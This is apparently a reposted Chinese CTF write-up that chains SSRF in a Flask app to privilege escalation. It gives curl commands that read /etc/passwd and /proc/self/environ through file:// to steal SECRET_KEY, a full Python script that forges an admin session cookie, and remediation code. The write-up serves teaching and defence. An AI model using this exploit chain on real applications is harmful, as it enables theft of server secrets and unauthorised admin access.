AI渗透测试—从SSRF读取密钥到权限提升的完整链路

admin 2026-06-19 05:35:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了CTFWeb题目中利用SSRF漏洞读取服务器本地文件获取Flask应用的SECRET_KEY,并通过伪造Session实现从guest到admin权限提升的完整渗透测试流程。文章包含漏洞原理分析、实操步骤演示(环境侦察、SSRF验证、密钥提取、Session伪造)以及完整的Python自动化利用脚本,最后提供了修复建议包括协议白名单限制和Session存储安全加固。 综合评分: 85 文章分类: 渗透测试,WEB安全,漏洞分析,实战经验,CTF


cover_image

AI渗透测试 — 从 SSRF 读取密钥到权限提升的完整链路

原创

syuhsao syuhsao

网络安全者

2026年6月18日 10:08 河南

在小说阅读器读本章

去阅读


一、前言

本文记录一道 CTF Web 题的完整解题过程,涉及两个核心漏洞的组合利用:

  • • SSRF(服务端请求伪造):通过 /read 端点读取服务器本地文件
  • • Flask Session 伪造:利用泄露的 SECRET_KEY 重新签名 Session,实现身份提升

⚠️ 本文仅用于 CTF 学习与安全研究,所有操作均在授权靶机环境下进行。


二、漏洞原理

3.1 Flask Session 机制

Flask 默认使用客户端 Session,Session 数据以 Base64 编码后用 SECRET_KEY 进行 HMAC 签名,存储在 Cookie 中。

Cookie 格式:<base64_payload>.<timestamp>.<hmac_signature>

如果 SECRET_KEY 泄露,攻击者可以:

  1. 1. 解码现有 Session
  2. 2. 篡改 payload(如将 guest 改为 admin
  3. 3. 用泄露的密钥重新签名
  4. 4. 发送伪造的 Session Cookie

3.2 SSRF 读取本地文件

应用提供了一个 /read?url= 接口用于抓取网页,但没有限制 URL 协议。攻击者可以使用 file:// 协议读取服务器本地文件,从而获取应用源码或环境变量中的敏感配置。


三、侦察阶段

4.1 获取初始 Session Cookie

向目标发送请求,观察响应头:

curl -sI&nbsp;"https://[TARGET_HOST]/"

响应中包含:

Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.[TIMESTAMP].[SIGNATURE]; HttpOnly; Path=/

4.2 解码 Session Cookie

使用 flask-unsign 工具解码:

pip install flask-unsign

flask-unsign --decode --cookie&nbsp;"eyJ1c2VybmFtZSI6Imd1ZXN0In0.[TIMESTAMP].[SIGNATURE]"

输出结果:

{'username':&nbsp;'guest'}

Session 中存储了用户名字段,目标是将其伪造为 admin


四、漏洞利用

5.1 验证 SSRF 漏洞

先测试能否读取公网资源,验证功能正常:

curl -s&nbsp;"https://[TARGET_HOST]/read?url=https://baidu.com"
# 返回百度首页 HTML,说明功能可用

然后尝试 file:// 协议读取本地文件:

curl -s&nbsp;"https://[TARGET_HOST]/read?url=file:///etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

SSRF 漏洞确认存在file:// 协议未被过滤。

5.2 读取进程环境变量

Flask 应用的 SECRET_KEY 通常通过环境变量注入,读取 /proc/self/environ

curl -s&nbsp;"https://[TARGET_HOST]/read?url=file:///proc/self/environ"
HOSTNAME=[CONTAINER_ID]
PATH=/usr/local/bin:/usr/local/sbin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_KEY=[REDACTED]
FLASK_APP=app.py
...

成功获取到 SECRET_KEY

5.3 尝试读取应用源码

作为补充验证,也可以直接读取 Flask 应用源文件:

curl -s&nbsp;"https://[TARGET_HOST]/read?url=file:///app/app.py"

典型的存在漏洞的 /read 路由实现如下(复现参考):

import&nbsp;requests
from&nbsp;flask&nbsp;import&nbsp;Flask, request, session, redirect

app = Flask(__name__)
app.secret_key =&nbsp;"[REDACTED]"# 硬编码或从环境变量读取

@app.route('/read')
defread():
&nbsp; &nbsp; url = request.args.get('url',&nbsp;'')
&nbsp; &nbsp;&nbsp;# 漏洞点:未对 url 参数做协议白名单过滤
&nbsp; &nbsp; resp = requests.get(url)
&nbsp; &nbsp;&nbsp;return&nbsp;resp.text

@app.route('/')
defindex():
&nbsp; &nbsp;&nbsp;if&nbsp;session.get('username') !=&nbsp;'admin':
&nbsp; &nbsp; &nbsp; &nbsp; session['username'] =&nbsp;'guest'
&nbsp; &nbsp;&nbsp;return&nbsp;'...'

关键问题:requests.get(url) 支持 file:// 协议(依赖版本),且无协议白名单校验。

5.4 伪造 Session Cookie

获取 SECRET_KEY 后,用 flask-unsign 重新签名:

# 伪造 admin 身份的 Session
flask-unsign --sign \
&nbsp; --cookie&nbsp;"{'username': 'admin'}"&nbsp;\
&nbsp; --secret&nbsp;'[REDACTED_SECRET_KEY]'

生成新的 Cookie:

eyJ1c2VybmFtZSI6ImFkbWluIn0.[NEW_TIMESTAMP].[NEW_SIGNATURE]

也可以用 Python 手动实现,便于理解原理:

from&nbsp;itsdangerous&nbsp;import&nbsp;URLSafeTimedSerializer
from&nbsp;flask.sessions&nbsp;import&nbsp;SecureCookieSessionInterface

classMockApp:
&nbsp; &nbsp; secret_key =&nbsp;"[REDACTED_SECRET_KEY]"
&nbsp; &nbsp; config = {}

# 序列化器
app = MockApp()
s = SecureCookieSessionInterface()
serializer = s.get_signing_serializer(app)

# 伪造 payload 并签名
forged = serializer.dumps({'username':&nbsp;'admin'})
print(f"[+] Forged Cookie:&nbsp;{forged}")

# 验证解码
decoded = serializer.loads(forged, max_age=None)
print(f"[+] Decoded:&nbsp;{decoded}")

输出:

[+] Forged Cookie: eyJ1c2VybmFtZSI6ImFkbWluIn0.[TS].[SIG]
[+] Decoded: {'username': 'admin'}

5.5 使用伪造 Cookie 访问

携带伪造的 Session Cookie 发送请求:

curl -s&nbsp;"https://[TARGET_HOST]/"&nbsp;\
&nbsp; -H&nbsp;"Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.[TS].[SIG]"

服务端验证身份通过,返回 flag:

ctfshow{[REDACTED_FLAG]}

五、完整利用脚本

#!/usr/bin/env python3
"""
Flask Session 伪造 + SSRF 利用脚本
用途:CTF 学习 / 安全研究
环境:授权靶机
"""

import&nbsp;requests
from&nbsp;flask.sessions&nbsp;import&nbsp;SecureCookieSessionInterface

TARGET =&nbsp;"https://[TARGET_HOST]"

classMockApp:
&nbsp; &nbsp;&nbsp;"""模拟 Flask app,仅用于 Session 签名"""
&nbsp; &nbsp;&nbsp;def__init__(self, secret_key):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.secret_key = secret_key
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.config = {}

defssrf_read(url:&nbsp;str) ->&nbsp;str:
&nbsp; &nbsp;&nbsp;"""通过 SSRF 读取任意 URL / 本地文件"""
&nbsp; &nbsp; resp = requests.get(f"{TARGET}/read", params={"url": url}, timeout=10)
&nbsp; &nbsp;&nbsp;return&nbsp;resp.text

defextract_secret_key(environ_content:&nbsp;str) ->&nbsp;str:
&nbsp; &nbsp;&nbsp;"""从 /proc/self/environ 内容中提取 SECRET_KEY"""
&nbsp; &nbsp;&nbsp;for&nbsp;item&nbsp;in&nbsp;environ_content.split('\x00'):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;item.startswith('SECRET_KEY='):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;item.split('=',&nbsp;1)[1]
&nbsp; &nbsp;&nbsp;return""

defforge_session(secret_key:&nbsp;str, payload:&nbsp;dict) ->&nbsp;str:
&nbsp; &nbsp;&nbsp;"""用指定 SECRET_KEY 伪造并签名 Flask Session"""
&nbsp; &nbsp; app = MockApp(secret_key)
&nbsp; &nbsp; s = SecureCookieSessionInterface()
&nbsp; &nbsp; serializer = s.get_signing_serializer(app)
&nbsp; &nbsp;&nbsp;return&nbsp;serializer.dumps(payload)

defmain():
&nbsp; &nbsp;&nbsp;# Step 1: 验证 SSRF
&nbsp; &nbsp;&nbsp;print("[*] Step 1: 测试 SSRF ...")
&nbsp; &nbsp; passwd = ssrf_read("file:///etc/passwd")
&nbsp; &nbsp;&nbsp;if"root:"in&nbsp;passwd:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] SSRF 可用,成功读取 /etc/passwd")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] SSRF 不可用,退出")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return

&nbsp; &nbsp;&nbsp;# Step 2: 读取环境变量获取 SECRET_KEY
&nbsp; &nbsp;&nbsp;print("[*] Step 2: 读取 /proc/self/environ ...")
&nbsp; &nbsp; environ = ssrf_read("file:///proc/self/environ")
&nbsp; &nbsp; secret = extract_secret_key(environ)
&nbsp; &nbsp;&nbsp;ifnot&nbsp;secret:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] 未找到 SECRET_KEY,尝试读取源码 ...")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 备选:读取 app.py
&nbsp; &nbsp; &nbsp; &nbsp; source = ssrf_read("file:///app/app.py")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(source[:500])
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return
&nbsp; &nbsp;&nbsp;print(f"[+] SECRET_KEY 获取成功(已脱敏):&nbsp;{'*'&nbsp;*&nbsp;len(secret)}")

&nbsp; &nbsp;&nbsp;# Step 3: 伪造 Session
&nbsp; &nbsp;&nbsp;print("[*] Step 3: 伪造 admin Session ...")
&nbsp; &nbsp; forged_cookie = forge_session(secret, {'username':&nbsp;'admin'})
&nbsp; &nbsp;&nbsp;print(f"[+] 伪造 Cookie 生成成功")

&nbsp; &nbsp;&nbsp;# Step 4: 使用伪造 Cookie 访问
&nbsp; &nbsp;&nbsp;print("[*] Step 4: 使用伪造 Session 访问 / ...")
&nbsp; &nbsp; resp = requests.get(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{TARGET}/",
&nbsp; &nbsp; &nbsp; &nbsp; cookies={"session": forged_cookie},
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10
&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;print(f"[+] 响应内容:&nbsp;{resp.text}")

&nbsp; &nbsp;&nbsp;# 尝试查找 flag
&nbsp; &nbsp;&nbsp;if"ctfshow{"in&nbsp;resp.text:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;import&nbsp;re
&nbsp; &nbsp; &nbsp; &nbsp; flags = re.findall(r'ctfshow\{[^}]+\}', resp.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;f&nbsp;in&nbsp;flags:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[!] FLAG:&nbsp;{f}")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

六、漏洞修复建议

| 漏洞 | 修复方案 | | — | — | | SSRF | 使用协议白名单(仅允许 https://),禁止 file://gopher:// 等;校验目标 IP 不在内网段 | | SECRET_KEY 泄露 | 使用强随机密钥(建议 32 字节以上),不通过环境变量明文传递,避免在源码中硬编码 | | Session 信任 | 对敏感操作增加服务端 Session 存储(如 Redis),不完全依赖客户端 Cookie 中的数据 |

安全的 SSRF 防护示例:

from&nbsp;urllib.parse&nbsp;import&nbsp;urlparse

ALLOWED_SCHEMES = {"https",&nbsp;"http"}
BLOCKED_HOSTS = {"localhost",&nbsp;"127.0.0.1",&nbsp;"0.0.0.0",&nbsp;"169.254.169.254"}

def&nbsp;safe_fetch(url:&nbsp;str) ->&nbsp;str:
&nbsp; &nbsp; parsed = urlparse(url)
&nbsp; &nbsp;&nbsp;if&nbsp;parsed.scheme&nbsp;not&nbsp;in&nbsp;ALLOWED_SCHEMES:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ValueError(f"不允许的协议:&nbsp;{parsed.scheme}")
&nbsp; &nbsp;&nbsp;if&nbsp;parsed.hostname&nbsp;in&nbsp;BLOCKED_HOSTS:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ValueError(f"不允许访问内网地址")
&nbsp; &nbsp;&nbsp;# 还需检查 DNS 解析后的 IP 是否为内网地址(TOCTOU 防护)
&nbsp; &nbsp; resp = requests.get(url, timeout=5, allow_redirects=False)
&nbsp; &nbsp;&nbsp;return&nbsp;resp.text

七、总结

这道题的核心是两个漏洞的链式利用:SSRF 作为信息收集手段,最终目的是获取 Flask 的 SECRET_KEY;拿到密钥后,Flask Session 的客户端签名机制就形同虚设,可以任意伪造身份。

攻击链路:/read 未过滤 file:// → 读取 /proc/self/environ → 获取 SECRET_KEY → 伪造 admin Session → 获取 Flag


| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全者 syuhsao syuhsao《AI渗透测试 — 从 SSRF 读取密钥到权限提升的完整链路》

    评论:0   参与:  0